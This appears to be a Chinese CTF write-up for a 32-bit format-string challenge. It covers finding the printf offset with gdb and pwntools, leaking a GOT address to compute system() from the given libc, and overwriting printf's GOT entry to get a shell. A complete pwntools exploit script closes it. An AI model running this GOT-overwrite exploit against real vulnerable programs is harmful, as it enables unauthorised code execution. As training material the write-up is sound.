这是一道字符串格式化漏洞的题目,给了libc,直接字符串格式化漏洞泄露出地址,就可以算出system的地址,最后再写got表就行了
伪代码
int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ int v3; int v4; int v5; v5 = *MK_FP(__GS__, 20); setbuf(stdout, 0); while ( 1 ) { introduce(); do __isoc99_scanf("%d", &v3); while ( (char *)(char)getchar() == "\n" ); if ( v3 == 1 ) { puts("please input your name:"); gets((char *)&v4); printf((const char *)&v4); puts(",you are welcome!"); } else if ( v3 == 2 ) { puts("nothing!!!!lol"); } else { puts("please,don't trick me"); } }}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
最初一看,以为是缓冲区溢出,一直循环没返回啊,不是缓冲区溢出。
原来输入直接传到了printf那里,可以利用字符串格式化漏洞
漏洞利用
计算偏移方法1
我们先看看printf的偏移,输入AAAA调试一下
gdb-peda$ b *0x08048618 Breakpoint 1 at 0x8048618gdb-peda$ rStarting program: /root/Desktop/iscc/pwn1 ++++Welcome to ziiiro's class!++++now you can do something:1.get your name2.heiheiheiplz input$1please input your name:AAAA[EAX: 0xffffd618 ("AAAA")EBX: 0x0 ECX: 0xfbad2288 EDX: 0xf7fb087c ESI: 0x1 EDI: 0xf7faf000 EBP: 0xffffd688 ESP: 0xffffd600 EIP: 0x8048618 (<main+135>: call 0x80483e0 <printf@plt>)EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)[ 0x804860c <main+123>: call 0x80483f0 <gets@plt> 0x8048611 <main+128>: lea eax,[esp+0x18] 0x8048615 <main+132>: mov DWORD PTR [esp],eax=> 0x8048618 <main+135>: call 0x80483e0 <printf@plt> 0x804861d <main+140>: mov DWORD PTR [esp],0x8048772 0x8048624 <main+147>: call 0x8048410 <puts@plt> 0x8048629 <main+152>: jmp 0x8048653 <main+194> 0x804862b <main+154>: mov eax,DWORD PTR [esp+0x14]Guessed arguments:arg[0]: 0xffffd618 ("AAAA")[0000| 0xffffd600 0004| 0xffffd604 0008| 0xffffd608 0012| 0xffffd60c 0016| 0xffffd610 0020| 0xffffd614 0024| 0xffffd618 ("AAAA")0028| 0xffffd61c [Legend: code, data, rodata, valueBreakpoint 1, 0x08048618 in main ()gdb-peda$
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
我们看栈就行,我们看到我们可控的局部变量是printf的第7个参数,除去第一个格式化字符,就是偏移是6的位置
[------------------------------------stack-------------------------------------]0000| 0xffffd600 --> 0xffffd618 ("AAAA")0004| 0xffffd604 --> 0xffffd614 --> 0x1 0008| 0xffffd608 --> 0xc30000 0012| 0xffffd60c --> 0xffffd724 --> 0xffffd848 ("/root/Desktop/iscc/pwn1")0016| 0xffffd610 --> 0xaffd000 0020| 0xffffd614 --> 0x1 0024| 0xffffd618 ("AAAA")0028| 0xffffd61c --> 0x8048200 --> 0x1a
计算偏移方法2
当然pwntools牛逼得很,直接可以算出来
from pwn import *def getoffset(payload): p = process("./pwn1") p.recvuntil("input$") p.sendline('1') p.recvuntil('please input your name:\n') p.sendline(payload) info = p.recvuntil(",you")[:-4] p.close() return infoautofmt = FmtStr(getoffset)print autofmt.offset
运行结果
root@kali:~/Desktop/iscc[+] Starting local process './pwn1': pid 1918[*] Stopped process './pwn1' (pid 1918)[+] Starting local process './pwn1': pid 1920[*] Stopped process './pwn1' (pid 1920)[+] Starting local process './pwn1': pid 1922[*] Stopped process './pwn1' (pid 1922)[+] Starting local process './pwn1': pid 1924[*] Stopped process './pwn1' (pid 1924)[+] Starting local process './pwn1': pid 1926[*] Stopped process './pwn1' (pid 1926)[+] Starting local process './pwn1': pid 1928[*] Stopped process './pwn1' (pid 1928)[*] Found format string offset: 66
泄露printf的地址
当然也可以泄露gets,puts的地址
p.recvuntil("input$")p.sendline('1')p.recvuntil('please input your name:\n')payload = p32(got_printf) + "%6$s"p.sendline(payload)printf_addr_and_xxx = p.recvuntil(",you")printf_addr = u32(printf_addr_and_xxx[4:8])print "printf_addr = " + hex(printf_addr)
算出system的地址
libc = ELF('./libc32.so')......system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])print "system_addr = " + hex(system_addr)
改写printf的got表
利用gets函数传入/bin/sh,最终执行system(‘/bin/sh’)
p.recvuntil("input$")p.sendline('1')p.recvuntil('please input your name:\n')payload2 = fmtstr_payload(6, {got_printf: system_addr}) p.sendline(payload2)p.sendline('1')p.recvuntil('please input your name:\n')p.sendline('/bin/sh\0')
最终exp
from pwn import *libc = ELF('./libc32.so')elf = ELF("./pwn1")got_printf = elf.got['printf']p = process("./pwn1")p.recvuntil("input$")p.sendline('1')p.recvuntil('please input your name:\n')payload = p32(got_printf) + "%6$s"p.sendline(payload)printf_addr_and_xxx = p.recvuntil(",you")printf_addr = u32(printf_addr_and_xxx[4:8])print "printf_addr = " + hex(printf_addr)system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])print "system_addr = " + hex(system_addr)p.recvuntil("input$")p.sendline('1')p.recvuntil('please input your name:\n')payload2 = fmtstr_payload(6, {got_printf: system_addr}) p.sendline(payload2)p.sendline('1')p.recvuntil('please input your name:\n')p.sendline('/bin/sh\0')p.interactive()